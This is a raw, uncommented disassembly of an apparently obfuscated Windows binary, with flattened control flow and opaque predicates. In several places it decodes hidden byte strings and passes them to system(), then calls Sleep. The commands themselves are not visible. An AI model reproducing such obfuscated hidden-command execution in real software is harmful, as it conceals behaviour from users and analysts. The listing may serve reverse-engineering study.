imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14083e144], 0xa
setl dl
or dl, cl
mov r8d, 0x60b87785
mov ecx, 0xc893afce
cmove r8d, ecx
mov qword [rbp - 0x20], rax
mov r9d, 0x6606174a
cmove r9d, ecx
mov eax, dword [0x14083e148]
lea r10d, [rax - 1]
imul r10d, eax
test r10b, 1
mov eax, 0xfe7f62c8
mov r11d, 0xbbac552e
cmove r11d, eax
mov edi, dword [0x14083e14c]
cmp edi, 0xa
cmovl r11d, eax
cmp qword [r14 + 0x18], 0x10
mov eax, 0x34104525
mov esi, 0x72b9664
cmovae esi, eax
mov eax, 0x49ce0731
mov ecx, 0x627713d8
jmp 0x1402c4550
mov eax, 0x72b9664
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x49ce0730
jg 0x1402c4600
cmp eax, 0xc893afce
je 0x1402c461e
cmp eax, 0x72b9664
je 0x1402c4628
cmp eax, 0x34104525
jne 0x1402c4550
test r10b, 1
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
sete byte [rbp - 1]
cmp edi, 0xa
setl byte [rbp - 2]
mov eax, 0x712aac50
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x627713d7
jg 0x1402c45c0
cmp eax, 0xbbac552e
je 0x1402c45e5
cmp eax, 0xfe7f62c8
jne 0x1402c45a0
jmp 0x1402c453d
cmp eax, 0x627713d8
je 0x1402c45ec
cmp eax, 0x712aac50
jne 0x1402c45a0
movzx ebx, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0xbbac552e
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x1402c45a0
mov eax, 0x627713d8
jmp 0x1402c45a0
mov eax, r11d
jmp 0x1402c45a0
cmp eax, 0x49ce0731
je 0x1402c4634
cmp eax, 0x6606174a
je 0x1402c463f
cmp eax, 0x60b87785
jne 0x1402c4550
jmp 0x1402c4c97
mov eax, 0x6606174a
jmp 0x1402c4550
mov qword [rbp - 0x10], rdx
mov eax, r9d
jmp 0x1402c4550
mov rdx, qword [rbp - 0x20]
mov eax, esi
jmp 0x1402c4550
mov eax, r8d
jmp 0x1402c4550
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.140085ad0
mov rcx, r14
call fcn.1401b0ed0
mov rcx, r14
call fcn.14034ca20
call fcn.1401fcb80
add rsp, 0x20
mov rax, qword [0x1403f08b3]
mov rsi, qword [rbp - 0x40]
mov qword [rsi + 0x1f], rax
movups xmm0, xmmword [0x1403f08a4]
movups xmmword [rsi + 0x10], xmm0
movups xmm0, xmmword [0x1403f0894]
movups xmmword [rsi], xmm0
mov edx, dword [0x14083eb38]
mov eax, dword [0x14083eb3c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, dword [0x14083eb40]
lea r12d, [rdx - 1]
imul r12d, edx
test r12b, 1
mov ebx, 0x7b3423c
mov r8d, 0x7457684c
cmove r8d, ebx
mov r9d, dword [0x14083eb44]
cmp r9d, 0xa
cmovl r8d, ebx
mov ebx, dword [0x14083eb48]
lea edx, [rbx - 1]
imul edx, ebx
mov dword [rbp - 0x2c], edx
test dl, 1
mov ebx, 0x62710839
mov edx, 0x6150d18d
cmove edx, ebx
mov edi, dword [0x14083eb4c]
mov dword [rbp - 0x34], edi
cmp edi, 0xa
cmovl edx, ebx
mov dword [rbp - 0x30], edx
test cl, 1
sete byte [rbp - 0x11]
mov ecx, 0xeecbffe4
mov r14d, 0x9b8417f0
cmove r14d, ecx
cmp eax, 0xa
setl byte [rbp - 1]
cmovl r14d, ecx
mov edi, 0xd1269286
mov r15d, 0xb90a7c0e
mov ebx, 0x371ec736
mov r10d, 0x99cc8860
jmp 0x1402c4750
test al, al
setne byte [rbp - 0x10]
mov al, byte [rbp - 0x10]
mov byte [rbp - 2], al
mov edi, r14d
nop dword [rax]
cmp edi, 0xd1269285
jg 0x1402c4800
cmp edi, 0x8161e437
je 0x1402c4829
cmp edi, 0x99cc8860
je 0x1402c495a
cmp edi, 0x9b8417f0
jne 0x1402c4750
test r12b, 1
sete byte [rbp - 0x28]
cmp r9d, 0xa
setl byte [rbp - 0x20]
mov al, byte [rsi + 0x26]
mov ecx, 0x61b6415
nop word cs:[rax + rax]
nop
cmp ecx, 0x371ec735
jg 0x1402c47c0
cmp ecx, 0x61b6415
je 0x1402c47d7
cmp ecx, 0x7b3423c
jne 0x1402c47a0
jmp 0x1402c49d3
cmp ecx, 0x371ec736
je 0x1402c47ee
cmp ecx, 0x7457684c
jne 0x1402c47a0
mov ecx, 0x371ec736
jmp 0x1402c47a0
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov ecx, 0x7457684c
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1402c47a0
mov ecx, r8d
jmp 0x1402c47a0
cmp edi, 0xd1269286
je 0x1402c49e6
cmp edi, 0xeecbffe4
je 0x1402c4a01
cmp edi, 0x2c5dfa22
jne 0x1402c4750
jmp 0x1402c4a21
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x34], 0xa
setl byte [rbp - 0x20]
mov r11d, 0x7f3f1937
nop
cmp r11d, 0x5193afaf
jle 0x1402c4870
cmp r11d, 0x62710838
jg 0x1402c48a0
cmp r11d, 0x5193afb0
je 0x1402c48d3
cmp r11d, 0x6150d18d
jne 0x1402c4840
mov r11d, 0xb90a7c0e
jmp 0x1402c4840
cmp r11d, 0x82b18d3d
je 0x1402c48f0
cmp r11d, 0xb90a7c0e
je 0x1402c4944
cmp r11d, 0x3130f0f2
jne 0x1402c4840
jmp 0x1402c4a17
cmp r11d, 0x62710839
je 0x1402c494d
cmp r11d, 0x7f3f1937
jne 0x1402c4840
movzx eax, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov r11d, 0x6150d18d
cmovne r11d, r15d
test al, al
cmovne r11d, r15d
jmp 0x1402c4840
mov dword [rbp - 0x10], edi
mov eax, dword [rbp - 0x10]
cmp eax, 0x27
mov r11d, 0x3130f0f2
mov eax, 0x82b18d3d
cmovl r11d, eax
jmp 0x1402c4840
movsxd rax, dword [rbp - 0x10]
movzx ecx, byte [rsi + rax]
movsxd rdx, dword [rbp - 0x10]
imul rdi, rdx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub edx, edi
lea edi, [rdx + 0x36]
mov esi, 0xc9
sub esi, edx
and esi, ecx
not ecx
and ecx, edi
or esi, ecx
mov rcx, qword [rbp - 0x40]
mov byte [rcx + rax], sil
mov rsi, qword [rbp - 0x40]
mov edi, dword [rbp - 0x10]
add edi, 1
mov r11d, 0x5193afb0
jmp 0x1402c4840
mov r11d, dword [rbp - 0x30]
jmp 0x1402c4840
mov r11d, 0x5193afb0
xor edi, edi
jmp 0x1402c4840
test r12b, 1
sete byte [rbp - 0x28]
cmp r9d, 0xa
setl byte [rbp - 0x20]
mov al, byte [rsi + 0x26]
mov ecx, 0x61b6415
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x371ec735
jg 0x1402c49a0
cmp ecx, 0x61b6415
je 0x1402c49b7
cmp ecx, 0x7b3423c
jne 0x1402c4980
jmp 0x1402c473d
cmp ecx, 0x371ec736
je 0x1402c49ce
cmp ecx, 0x7457684c
jne 0x1402c4980
mov ecx, 0x371ec736
jmp 0x1402c4980
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov ecx, 0x7457684c
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1402c4980
mov ecx, r8d
jmp 0x1402c4980
test al, al
setne byte [rbp - 0x10]
mov al, byte [rbp - 0x10]
mov edi, 0x99cc8860
jmp 0x1402c4750
mov al, byte [rbp - 0x11]
cmp byte [rbp - 1], 0
mov edi, 0x9b8417f0
cmovne edi, r10d
test al, al
cmovne edi, r10d
jmp 0x1402c4750
cmp byte [rbp - 2], 0
mov edi, 0x2c5dfa22
mov eax, 0x8161e437
cmovne edi, eax
jmp 0x1402c4750
mov edi, 0x2c5dfa22
jmp 0x1402c4750
mov eax, dword [0x14083e108]
mov ecx, dword [0x14083e10c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x20]
mov edx, 0x9a52482b
mov eax, 0x41c37f85
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp - 0x10]
cmovl eax, edx
mov edx, 0x828f53e7
mov ecx, 0x59c63849
xorps xmm0, xmm0
mov rsi, qword [rbp - 0x48]
jmp 0x1402c4a80
movzx ebx, byte [rbp - 0x20]
cmp byte [rbp - 0x10], 0
mov edx, 0x41c37f85
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
nop dword [rax]
cmp edx, 0x41c37f84
jle 0x1402c4ab0
cmp edx, 0x41c37f85
je 0x1402c4ac2
cmp edx, 0x59c63849
jne 0x1402c4a80
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, eax
jmp 0x1402c4a80
cmp edx, 0x828f53e7
je 0x1402c4a64
cmp edx, 0x9a52482b
jne 0x1402c4a80
jmp 0x1402c4ad0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, 0x59c63849
jmp 0x1402c4a80
sub rsp, 0x20
mov rdi, qword [rbp - 0x40]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1401b11b0
add rsp, 0x20
mov r14, qword [rbp - 0x48]
mov qword [rbp - 0x28], r14
mov rax, qword [rbp - 0x28]
mov ecx, dword [0x14083e140]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14083e144], 0xa
setl dl
or dl, cl
mov r8d, 0x60b87785
mov ecx, 0xc893afce
cmove r8d, ecx
mov qword [rbp - 0x20], rax
mov r9d, 0x6606174a
cmove r9d, ecx
mov eax, dword [0x14083e148]
lea r10d, [rax - 1]
imul r10d, eax
test r10b, 1
mov eax, 0xfe7f62c8
mov r11d, 0xbbac552e
cmove r11d, eax
mov edi, dword [0x14083e14c]
cmp edi, 0xa
cmovl r11d, eax
cmp qword [r14 + 0x18], 0x10
mov eax, 0x34104525
mov esi, 0x72b9664
cmovae esi, eax
mov eax, 0x49ce0731
mov ecx, 0x627713d8
jmp 0x1402c4ba0
mov eax, 0x72b9664
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x49ce0730
jg 0x1402c4c50
cmp eax, 0xc893afce
je 0x1402c4c6e
cmp eax, 0x72b9664
je 0x1402c4c78
cmp eax, 0x34104525
jne 0x1402c4ba0
test r10b, 1
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
sete byte [rbp - 1]
cmp edi, 0xa
setl byte [rbp - 2]
mov eax, 0x712aac50
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x627713d7
jg 0x1402c4c10
cmp eax, 0xbbac552e
je 0x1402c4c35
cmp eax, 0xfe7f62c8
jne 0x1402c4bf0
jmp 0x1402c4b8d
cmp eax, 0x627713d8
je 0x1402c4c3c
cmp eax, 0x712aac50
jne 0x1402c4bf0
movzx ebx, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0xbbac552e
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x1402c4bf0
mov eax, 0x627713d8
jmp 0x1402c4bf0
mov eax, r11d
jmp 0x1402c4bf0
cmp eax, 0x49ce0731
je 0x1402c4c84
cmp eax, 0x6606174a
je 0x1402c4c8f
cmp eax, 0x60b87785
jne 0x1402c4ba0
jmp 0x1402c5521
mov eax, 0x6606174a
jmp 0x1402c4ba0
mov qword [rbp - 0x10], rdx
mov eax, r9d
jmp 0x1402c4ba0
mov rdx, qword [rbp - 0x20]
mov eax, esi
jmp 0x1402c4ba0
mov eax, r8d
jmp 0x1402c4ba0
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r14
call fcn.1401b0ed0
mov rcx, r14
call fcn.14034ca20
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1403f117b]
mov dword [r13 + 0x30], eax
movups xmm0, xmmword [0x1403f116b]
movups xmmword [r13 + 0x20], xmm0
movups xmm0, xmmword [0x1403f115b]
movups xmmword [r13 + 0x10], xmm0
movups xmm0, xmmword [0x1403f114b]
mov ecx, dword [0x14083efd8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, dword [0x14083efdc]
mov edx, dword [0x14083efe0]
lea ebx, [rcx - 1]
imul ebx, ecx
mov dword [rbp - 0x2c], ebx
test bl, 1
sete cl
mov dword [rbp - 0x30], edx
cmp edx, 0xa
setl dl
or dl, cl
mov r9d, 0xe6caf4e3
mov ecx, 0xe32bedfc
cmove r9d, ecx
mov r8d, 0xcbc45b38
cmove r8d, ecx
mov r15d, 0x4228e4e3
mov ecx, 0x586e886
cmove r15d, ecx
mov ecx, dword [0x14083efe4]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14083efe8], 0xa
setl dl
or dl, cl
mov r10d, 0x8a602bb0
mov ecx, 0x37a08cfe
cmove r10d, ecx
mov edx, dword [0x14083efec]
mov r12d, 0x17b3ec21
cmove r12d, ecx
test al, 1
sete byte [rbp - 1]
mov eax, 0x86f225df
mov ecx, 0x3ee27dc8
cmove ecx, eax
cmp edx, 0xa
setl byte [rbp - 2]
movups xmmword [r13], xmm0
cmovl ecx, eax
mov dword [rbp - 0x34], ecx
mov ecx, 0xae5df929
mov r11d, 0x7ea76233
mov eax, 0xd9e82eec
mov r14d, 0x5acd8426
jmp 0x1402c4dd0
mov ecx, dword [rbp - 0x34]
nop word cs:[rax + rax]
nop
cmp ecx, 0x3ee27dc7
jle 0x1402c5150
cmp ecx, 0x6de01f82
je 0x1402c516d
cmp ecx, 0x3ee27dc8
jne 0x1402c4dd0
mov ecx, 0xa13f4c26
nop word cs:[rax + rax]
nop
cmp ecx, 0x17b3ec20
jle 0x1402c4e30
cmp ecx, 0x17b3ec21
je 0x1402c4e55
cmp ecx, 0x37a08cfe
je 0x1402c4fba
cmp ecx, 0x7ea76233
jne 0x1402c4e00
jmp 0x1402c54f9
cmp ecx, 0x8a602bb0
je 0x1402c512c
cmp ecx, 0xa13f4c26
je 0x1402c5136
cmp ecx, 0x48cc0d0
jne 0x1402c4e00
mov ecx, r12d
jmp 0x1402c4e00
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x30], 0xa
setl byte [rbp - 0x20]
mov ebx, 0xb0326d75
jmp 0x1402c4e80
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov ebx, 0xf68243b4
cmovl ebx, r14d
nop
mov esi, ebx
cmp ebx, 0xf68243b3
jle 0x1402c4f00
cmp esi, 0x34c1d8ef
jle 0x1402c4f30
cmp esi, 0x34c1d8f0
je 0x1402c4e6c
cmp esi, 0x4228e4e3
je 0x1402c4f7e
mov ebx, esi
cmp esi, 0x5acd8426
jne 0x1402c4e80
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov ebx, 0x34c1d8f0
jmp 0x1402c4e80
cmp esi, 0xd9e82eeb
jle 0x1402c4f60
mov ebx, r15d
cmp esi, 0xd9e82eec
je 0x1402c4e80
cmp esi, 0xe32bedfc
jne 0x1402c4fa4
mov ebx, 0xcbc45b38
jmp 0x1402c4e80
mov ebx, r8d
cmp esi, 0xf68243b4
je 0x1402c4e80
mov ebx, esi
cmp esi, 0x586e886
jne 0x1402c4e80
mov ebx, 0xd9e82eec
jmp 0x1402c4e80
cmp esi, 0xb0326d75
je 0x1402c4f8a
mov ebx, esi
cmp esi, 0xcbc45b38
jne 0x1402c4e80
mov ebx, r9d
jmp 0x1402c4e80
mov ebx, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c4e80
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov ebx, 0x586e886
cmovne ebx, eax
test dl, dl
cmovne ebx, eax
jmp 0x1402c4e80
mov ebx, esi
cmp esi, 0xe6caf4e3
jne 0x1402c4e80
mov ecx, r10d
jmp 0x1402c4e00
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x30], 0xa
setl byte [rbp - 0x20]
mov edx, 0xb0326d75
jmp 0x1402c4ff0
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov edx, 0xf68243b4
cmovl edx, r14d
nop word cs:[rax + rax]
nop dword [rax]
mov esi, edx
cmp edx, 0xf68243b3
jle 0x1402c5070
cmp esi, 0x34c1d8ef
jle 0x1402c50a0
cmp esi, 0x34c1d8f0
je 0x1402c4fd1
cmp esi, 0x4228e4e3
je 0x1402c50ee
mov edx, esi
cmp esi, 0x5acd8426
jne 0x1402c4ff0
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov edx, 0x34c1d8f0
jmp 0x1402c4ff0
cmp esi, 0xd9e82eeb
jle 0x1402c50d0
mov edx, r15d
cmp esi, 0xd9e82eec
je 0x1402c4ff0
cmp esi, 0xe32bedfc
jne 0x1402c5114
mov edx, 0xcbc45b38
jmp 0x1402c4ff0
mov edx, r8d
cmp esi, 0xf68243b4
je 0x1402c4ff0
mov edx, esi
cmp esi, 0x586e886
jne 0x1402c4ff0
mov edx, 0xd9e82eec
jmp 0x1402c4ff0
cmp esi, 0xb0326d75
je 0x1402c50fa
mov edx, esi
cmp esi, 0xcbc45b38
jne 0x1402c4ff0
mov edx, r9d
jmp 0x1402c4ff0
mov edx, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c4ff0
movzx ebx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edx, 0x586e886
cmovne edx, eax
test bl, bl
cmovne edx, eax
jmp 0x1402c4ff0
mov edx, esi
cmp esi, 0xe6caf4e3
jne 0x1402c4ff0
mov ecx, 0x17b3ec21
jmp 0x1402c4e00
mov ecx, 0x7ea76233
jmp 0x1402c4e00
cmp byte [r13 + 0x33], 0
mov ecx, 0x48cc0d0
cmove ecx, r11d
jmp 0x1402c4e00
cmp ecx, 0xae5df929
je 0x1402c5503
cmp ecx, 0x86f225df
jne 0x1402c4dd0
jmp 0x1402c5da1
mov ecx, 0xa13f4c26
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x17b3ec20
jle 0x1402c51b0
cmp ecx, 0x17b3ec21
je 0x1402c51d5
cmp ecx, 0x37a08cfe
je 0x1402c536b
cmp ecx, 0x7ea76233
jne 0x1402c5180
jmp 0x1402c4dc1
cmp ecx, 0x8a602bb0
je 0x1402c54dc
cmp ecx, 0xa13f4c26
je 0x1402c54e6
cmp ecx, 0x48cc0d0
jne 0x1402c5180
mov ecx, r12d
jmp 0x1402c5180
mov r11d, r12d
mov r12d, r10d
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x30], 0xa
setl byte [rbp - 0x20]
mov esi, 0xb0326d75
jmp 0x1402c5210
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov esi, 0xf68243b4
cmovl esi, r14d
nop word cs:[rax + rax]
nop
mov r10d, esi
cmp esi, 0xf68243b3
jle 0x1402c52a0
cmp r10d, 0x34c1d8ef
jle 0x1402c52d0
cmp r10d, 0x34c1d8f0
je 0x1402c51f2
cmp r10d, 0x4228e4e3
je 0x1402c5321
mov esi, r10d
cmp r10d, 0x5acd8426
jne 0x1402c5210
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov esi, 0x34c1d8f0
jmp 0x1402c5210
cmp r10d, 0xd9e82eeb
jle 0x1402c5300
mov esi, r15d
cmp r10d, 0xd9e82eec
je 0x1402c5210
cmp r10d, 0xe32bedfc
jne 0x1402c5347
mov esi, 0xcbc45b38
jmp 0x1402c5210
mov esi, r8d
cmp r10d, 0xf68243b4
je 0x1402c5210
mov esi, r10d
cmp r10d, 0x586e886
jne 0x1402c5210
mov esi, 0xd9e82eec
jmp 0x1402c5210
cmp r10d, 0xb0326d75
je 0x1402c532d
mov esi, r10d
cmp r10d, 0xcbc45b38
jne 0x1402c5210
mov esi, r9d
jmp 0x1402c5210
mov esi, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c5210
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov esi, 0x586e886
cmovne esi, eax
test dl, dl
cmovne esi, eax
jmp 0x1402c5210
mov esi, r10d
cmp r10d, 0xe6caf4e3
jne 0x1402c5210
mov r10d, r12d
mov ecx, r12d
mov r12d, r11d
mov r11d, 0x7ea76233
jmp 0x1402c5180
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x30], 0xa
setl byte [rbp - 0x20]
mov edi, 0xb0326d75
jmp 0x1402c53a0
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov edi, 0xf68243b4
cmovl edi, r14d
nop word cs:[rax + rax]
nop
mov esi, edi
cmp edi, 0xf68243b3
jle 0x1402c5420
cmp esi, 0x34c1d8ef
jle 0x1402c5450
cmp esi, 0x34c1d8f0
je 0x1402c5382
cmp esi, 0x4228e4e3
je 0x1402c549e
mov edi, esi
cmp esi, 0x5acd8426
jne 0x1402c53a0
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov edi, 0x34c1d8f0
jmp 0x1402c53a0
cmp esi, 0xd9e82eeb
jle 0x1402c5480
mov edi, r15d
cmp esi, 0xd9e82eec
je 0x1402c53a0
cmp esi, 0xe32bedfc
jne 0x1402c54c4
mov edi, 0xcbc45b38
jmp 0x1402c53a0
mov edi, r8d
cmp esi, 0xf68243b4
je 0x1402c53a0
mov edi, esi
cmp esi, 0x586e886
jne 0x1402c53a0
mov edi, 0xd9e82eec
jmp 0x1402c53a0
cmp esi, 0xb0326d75
je 0x1402c54aa
mov edi, esi
cmp esi, 0xcbc45b38
jne 0x1402c53a0
mov edi, r9d
jmp 0x1402c53a0
mov edi, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c53a0
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edi, 0x586e886
cmovne edi, eax
test dl, dl
cmovne edi, eax
jmp 0x1402c53a0
mov edi, esi
cmp esi, 0xe6caf4e3
jne 0x1402c53a0
mov ecx, 0x17b3ec21
jmp 0x1402c5180
mov ecx, 0x7ea76233
jmp 0x1402c5180
cmp byte [r13 + 0x33], 0
mov ecx, 0x48cc0d0
cmove ecx, r11d
jmp 0x1402c5180
mov ecx, 0x6de01f82
jmp 0x1402c4dd0
mov dl, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov ecx, 0x3ee27dc8
mov ebx, 0x6de01f82
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1402c4dd0
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r14
call fcn.1401b0ed0
mov rcx, r14
call fcn.14034ca20
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1403f117b]
mov dword [r13 + 0x30], eax
movups xmm0, xmmword [0x1403f116b]
movups xmmword [r13 + 0x20], xmm0
movups xmm0, xmmword [0x1403f115b]
movups xmmword [r13 + 0x10], xmm0
movups xmm0, xmmword [0x1403f114b]
mov ecx, dword [0x14083efd8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, dword [0x14083efdc]
mov edx, dword [0x14083efe0]
lea ebx, [rcx - 1]
imul ebx, ecx
mov dword [rbp - 0x2c], ebx
test bl, 1
sete cl
mov r11d, edx
cmp edx, 0xa
setl dl
or dl, cl
mov r9d, 0xe6caf4e3
mov ecx, 0xe32bedfc
cmove r9d, ecx
mov r8d, 0xcbc45b38
cmove r8d, ecx
mov r15d, 0x4228e4e3
mov ecx, 0x586e886
cmove r15d, ecx
mov ecx, dword [0x14083efe4]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14083efe8], 0xa
setl dl
or dl, cl
mov edx, 0x8a602bb0
mov ecx, 0x37a08cfe
cmove edx, ecx
mov dword [rbp - 0x30], edx
mov edx, dword [0x14083efec]
mov r10d, 0x17b3ec21
cmove r10d, ecx
test al, 1
sete byte [rbp - 1]
mov eax, 0x86f225df
mov ecx, 0x3ee27dc8
cmove ecx, eax
cmp edx, 0xa
setl byte [rbp - 2]
movups xmmword [r13], xmm0
cmovl ecx, eax
mov dword [rbp - 0x34], ecx
mov ecx, 0xae5df929
mov r12d, 0x7ea76233
mov eax, 0xd9e82eec
mov r14d, 0x5acd8426
jmp 0x1402c5650
mov ecx, dword [rbp - 0x34]
nop
cmp ecx, 0x3ee27dc7
jle 0x1402c59d0
cmp ecx, 0x6de01f82
je 0x1402c59ed
cmp ecx, 0x3ee27dc8
jne 0x1402c5650
mov ecx, 0xa13f4c26
nop word cs:[rax + rax]
nop
cmp ecx, 0x17b3ec20
jle 0x1402c56b0
cmp ecx, 0x17b3ec21
je 0x1402c56d5
cmp ecx, 0x37a08cfe
je 0x1402c583a
cmp ecx, 0x7ea76233
jne 0x1402c5680
jmp 0x1402c5d79
cmp ecx, 0x8a602bb0
je 0x1402c59ac
cmp ecx, 0xa13f4c26
je 0x1402c59b6
cmp ecx, 0x48cc0d0
jne 0x1402c5680
mov ecx, r10d
jmp 0x1402c5680
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp r11d, 0xa
setl byte [rbp - 0x20]
mov ebx, 0xb0326d75
jmp 0x1402c5700
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov ebx, 0xf68243b4
cmovl ebx, r14d
nop
mov esi, ebx
cmp ebx, 0xf68243b3
jle 0x1402c5780
cmp esi, 0x34c1d8ef
jle 0x1402c57b0
cmp esi, 0x34c1d8f0
je 0x1402c56ec
cmp esi, 0x4228e4e3
je 0x1402c57fe
mov ebx, esi
cmp esi, 0x5acd8426
jne 0x1402c5700
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov ebx, 0x34c1d8f0
jmp 0x1402c5700
cmp esi, 0xd9e82eeb
jle 0x1402c57e0
mov ebx, r15d
cmp esi, 0xd9e82eec
je 0x1402c5700
cmp esi, 0xe32bedfc
jne 0x1402c5824
mov ebx, 0xcbc45b38
jmp 0x1402c5700
mov ebx, r8d
cmp esi, 0xf68243b4
je 0x1402c5700
mov ebx, esi
cmp esi, 0x586e886
jne 0x1402c5700
mov ebx, 0xd9e82eec
jmp 0x1402c5700
cmp esi, 0xb0326d75
je 0x1402c580a
mov ebx, esi
cmp esi, 0xcbc45b38
jne 0x1402c5700
mov ebx, r9d
jmp 0x1402c5700
mov ebx, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c5700
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov ebx, 0x586e886
cmovne ebx, eax
test dl, dl
cmovne ebx, eax
jmp 0x1402c5700
mov ebx, esi
cmp esi, 0xe6caf4e3
jne 0x1402c5700
mov ecx, dword [rbp - 0x30]
jmp 0x1402c5680
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp r11d, 0xa
setl byte [rbp - 0x20]
mov edx, 0xb0326d75
jmp 0x1402c5870
mov dword [rbp - 0x10], ecx
